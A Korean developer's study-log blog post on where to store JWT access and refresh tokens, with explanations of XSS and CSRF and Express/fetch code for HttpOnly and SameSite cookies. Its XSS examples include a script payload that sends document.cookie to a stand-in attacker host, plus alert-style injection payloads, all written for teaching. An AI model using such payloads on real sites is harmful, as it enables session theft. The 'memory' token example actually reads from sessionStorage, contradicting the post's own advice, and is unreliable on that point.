-
TIL-2024.04.17 - Basic - JWT - 1.5 - Token, XSS & CSRF (Refresh Token & Access Token 저장 위치)> 기초/백그라운드 2024. 4. 17. 19:02
질문:
1. 브라우저에서 변수는 어디다가 저장할 수 있나요 ?
2. 이와같은 저장소 중에서, Refresh Token 과 Access Token 은 어디다가 저장을 해야될까?
3. 왜 이렇게 저장을 해야되나요?
1. 브라우저의 변수 저장소:
1. Cookie 2. LocalStorage & Session Storage 3. Memory
1) Cookie
- 사이트가 사용자의 컴퓨터에 저장하는 작은 데이터 조각
- 서버로 요청을 할때마다 해당 서버에 해당되는 쿠키를 보냄
- JS로 접근 가능 (데이터를 저장하고 데이터를 검색할 수 있다는 것을 의미)
2) Local & Session Storage
- 브라우저의 클라이언트 측 저장 공간
- JS로 접근 가능 (데이터를 저장하고 데이터를 검색할 수 있다는 것을 의미)
3) 메모리
- 메모리에 값을 저장하려면 웹앱의 로컬변수를 사용해서 값을 저장
- JS 코드로 접근 불가
- 웹앱이 새롭게 실행되면 내부 변수가 초기화
2. 추천하는 저장 위치 :
- Access Token은 "메모리" 에 저장
- Refresh Token은 HttpOnly & Same Site (with Strict | Lax) 쿠키로 저장
3. 메모리에 저장된 Access Token 예시 :
// sessionStorage에서 Access Token을 가져와 사용하는 예제 const accessToken = sessionStorage.getItem('accessToken'); // Access Token을 HTTP 요청의 헤더에 포함하여 서버에 전송하는 등 필요한 작업 수행 if (accessToken) { // HTTP 요청 시 Access Token을 헤더에 추가하는 예제 fetch('https://api.example.com/data', { headers: { Authorization: `Bearer ${accessToken}` // Access Token을 Bearer 토큰으로 전송 } }) .then(response => { // 응답 처리 console.log(response); }) .catch(error => { // 오류 처리 console.error('Error fetching data:', error); }); } else { console.error('Access Token not found in sessionStorage'); }
4. Refresh Token은 HttpOnly & Same Site (with Strict | Lax) 쿠키 설정 예제:
From Server
const express = require('express'); const cookieParser = require('cookie-parser'); const app = express(); // 쿠키 파서 미들웨어 등록 app.use(cookieParser()); // 리프레시 토큰 발급 후 쿠키에 저장 app.post('/login', (req, res) => { const refreshToken = 'your_refresh_token_here'; // 리프레시 토큰 발급 (실제로는 보안적으로 안전한 방식으로 발급되어야 함) // HTTP Only 및 SameSite 속성을 설정한 쿠키 생성 res.cookie('refreshToken', refreshToken, { httpOnly: true, // JavaScript에서 쿠키 접근 불가 sameSite: 'strict', // 동일 출처 요청에서만 쿠키 전송 // 다른 필요한 쿠키 옵션들 (예: secure: true 등) }); res.send('Login successful'); }); // 기타 라우트 및 서버 설정 app.listen(3000, () => { console.log('Server is running on port 3000'); });
From Client
fetch('http://example.com/protected/resource', { credentials: 'include', // 쿠키 포함하여 요청 }) .then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('Error fetching resource:', error));
5. 하는 이유:
1) XSS (Cross Site Scripting) - 트로이 목마 :
- 인증되지 않은 사용자가 App에 스크립트 코드를 삽입해 사용자들의 브라우저에서 실행되게 만드는 공격 기법
- 주로 사용자의 정보를 탈취하거나 Session & Local Storage 을 탈취하여 악의적인 동작을 수행
> XSS 종류 및 공격 예시
더보기1) XSS 종류
- Reflected XSS (Non-Persistent XSS):
- 사용자의 입력이 즉시 서버에서 동적으로 생성된 페이지에 반영되고, 해당 페이지에서 스크립트가 실행될 때 발생합니다.
- 주로 검색 쿼리나 URL 매개변수 등을 통해 공격자가 스크립트 코드를 전달하여 실행시키는 방식으로 이루어집니다.
- Stored XSS (Persistent XSS):
- 악의적인 스크립트가 서버에 저장되어, 이를 요청할 때마다 사용자에게 전달되고 실행됩니다.
- 주로 게시글, 댓글, 프로필 등의 저장소에 악성 스크립트가 저장되어 있는 경우가 많습니다.
- DOM-based XSS:
- 클라이언트 측에서 동적으로 DOM을 조작할 때 발생하는 XSS입니다. 주로 JavaScript 내에서 사용자의 입력을 사용하여 DOM 조작 시 발생할 수 있습니다.
2) XSS 공격 예시
// 1. 스크립트 삽입: <script> fetch("http://attacker.com/steal-cookie?cookie=" + document.cookie); </script> // 2. 이벤트 핸들러를 통한 공격: <img src="invalid-image" onerror="alert('XSS Attack!')" /> // 3. URL 매개변수를 통한 공격: http://example.com/search?q=<script>alert('XSS')</script>
- 이처럼 XSS 취약점이 있는 서버는 특정 페이지를 방문하는 사용자의 브라우저에서 JS 명령어 실행
> 해결방법: 쿠키의 Secure 속성과 HttpOnly 속성을 설정 (HTTP Only 쿠키는 JavaScript로부터 접근할 수 없도록 설계된 쿠키 속성)
예시:
const express = require('express'); const cookieParser = require('cookie-parser'); const app = express(); app.use(cookieParser()); app.get('/', (req, res) => { // 서버에서 HttpOnly 쿠키 설정 res.cookie('myCookie', 'cookieValue', { httpOnly: true }); res.send('HttpOnly cookie has been set!'); }); app.listen(3000, () => { console.log('Server is running on port 3000'); });
2. CSRF (Cross Site Request Forgery - 사이트 간 요청 위조) > 암구호 나야나 :
- 인증된 사용자가 (악의적인 공격자가 의도한 요청을) 모르게 실행하도록 속이는 공격 기법
> CSRF 공격원리 및 공격 예시
더보기CSRF 공격의 원리
- 인증된 사용자 세션 이용: 공격자는 사용자가 인증된 세션을 가지고 있는 상태에서 공격을 시도.
- 의도하지 않은 요청 전송: 사용자의 브라우저를 이용하여 공격자가 의도한 요청을 악의적으로 전송하고 이 요청은 사용자가 인증된 상태이므로 서버는 사용자로부터 온 것으로 판단하여 실행.
CSRF 공격의 예시
- 이체 요청:
- 사용자가 은행 웹 사이트에 로그인한 상태에서, 공격자가 작성한 이체 요청이 숨겨진 이미지 또는 링크로 포함된 이메일을 사용자에게 전송.
- 사용자가 이메일을 열고 이미지나 링크를 클릭하면서 악의적인 요청이 서버로 전송. - 비밀번호 변경:
-사용자가 로그인 상태에서, 공격자가 작성한 비밀번호 변경 요청이 포함된 웹 페이지에 사용자를 유도해 자동으로 요청이 전송.
- CSRF 공격은 사용자의 브라우저를 통해 오는 공격 (사용자의 브라우저에서 요청을 보내기때문에 쿠키와 함께 전달)
- 서버 입장에서는 이게 사용자가 보낸 요청인지, 악의적인 공격자가 보낸 요청인지 모름
> 해결 방법: SameSite 쿠키 속성을 Strict 또는 Lax로 설정해 쿠키가 도메인 외부로 전송되는 것을 방지
-SameSite 쿠키는 쿠키를 보낼 때 동일 출처 요청에서만 쿠키가 전송되도록 제한.
- 즉, 쿠키가 속한 웹 사이트와 요청되는 웹 사이트의 출처가 동일해야 쿠키가 전송.
- 이를 통해 외부 사이트에서 사용자의 브라우저를 통해 인증된 세션 쿠키를 전송할 수 없으므로 CSRF 공격을 어렵게 만듬.
SameSite 값:- Strict: 쿠키가 동일 출처 (Same Origin - Same Protocol & Host & Port) 요청 에서만 전송
- 다시 말해, 쿠키는 도메인이 동일한 페이지로만 전송하여, 외부 사이트에서의 쿠키 전송을 완전히 차단합니다. - Lax: 일부 상황에서 외부 사이트로의 쿠키 전송을 허용, 사용자의 의도적인 클릭 동작으로 요청된 경우에만 쿠키를 전송.
- 타사 사이트로의 일반적인 링크 클릭/GET 요청에서는 쿠키를 전송 가능 하지만,POST 요청에서는 쿠키를 전송안되도록 설정. - None: 쿠키가 모든 상황에서 외부 사이트로 전송되도록 허용.
- 이 경우에는 Secure 속성이 함께 설정되어야 하며, HTTPS 연결에서만 동작.
예시 :
const express = require('express'); const cookieParser = require('cookie-parser'); const app = express(); app.use(cookieParser()); // 라우트 핸들러 app.get('/', (req, res) => { // SameSite를 Strict로 설정한 쿠키 설정 예제 res.cookie('myCookie', 'cookieValue', { httpOnly: true, sameSite: 'strict' }); res.send('Cookie with SameSite Strict attribute has been set!'); }); app.listen(3000, () => { console.log('Server is running on port 3000'); });
6. 답변:
1. 브라우저에서 변수는 어디다가 저장할 수 있나요 ?
- 쿠키, 로컬 & 세션 스토리지, 메모리 (로컬 변수)
2. 이와같은 저장소 중에서, Refresh Token 과 Access Token 은 어디다가 저장을 해야될까?
- Acess Token은 Memory 에 Refresh Token은 Http Only & SameSite 속성 중 Strict | Lax 로 설정된 Cookie에 저장3. 왜 이렇게 저장을 해야되나요?
- XSS & CSRF 를 피하기 위해
'> 기초 > 백그라운드' 카테고리의 다른 글
TIL-2024.04.18 - Basic - Origin & Site (보험) (0) 2024.04.18 TIL-2024.04.16 - Basic - JWT (JSON Web Token) (0) 2024.04.16 TIL-2024.04.12 - Basic - OOP. 객체지향프로그래밍(OOP) (0) 2024.04.12 TIL-2024.04.11 - Basic - SOLID (0) 2024.04.11 TIL-2024.04.01 - Network - TCP & UDP (0) 2024.04.01 - Reflected XSS (Non-Persistent XSS):